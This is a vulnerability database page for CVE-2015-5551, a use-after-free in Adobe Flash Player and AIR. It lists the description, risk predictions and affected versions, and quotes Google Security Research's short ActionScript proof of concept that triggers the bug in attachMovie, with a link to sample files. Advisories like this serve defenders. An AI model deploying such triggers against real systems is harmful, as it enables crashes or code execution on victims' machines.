CVE-2015-5551

critical

Published 2015-08-14 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-37865 dos multiple verified text · 1 KB

Google Security Research · 2015-08-19

Adobe Flash - attachMovie Use-After-Free

text exploit Source: Exploit-DB

Source: https://code.google.com/p/google-security-research/issues/detail?id=391&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id

There is a use-after-free in attachMovie due to the initObject. If the initObject contains an object that calls a method that deletes the movie clip that is being attached, a use-after-free occurs. A proof-of-concept is as follows:

n = {_quality : {toString : func}};
function func(){
	
	trace("hello");
	
	newResetButton.removeMovieClip();
	return "test";
	}
	
_root.attachMovie("myResetButton","newResetButton",200, n);

A sample fla and swf are attached.

Proof of Concept: 
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37865.zip

OS impact

Linux kernel Fixed 1 release

Version	Status	Fixed in
-	Not affected	—

macOS Fixed 1 release

Version	Status	Fixed in
-	Not affected	—

Application impact

Vendor	Product	Versions
adobe	flash_player	`{"endIncluding":"11.2.202.491"}`
adobe	air	`{"endIncluding":"18.0.0.180"}`
adobe	air_sdk	`{"endIncluding":"18.0.0.180"}`
adobe	air_sdk_\&_compiler	`{"endIncluding":"18.0.0.180"}`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.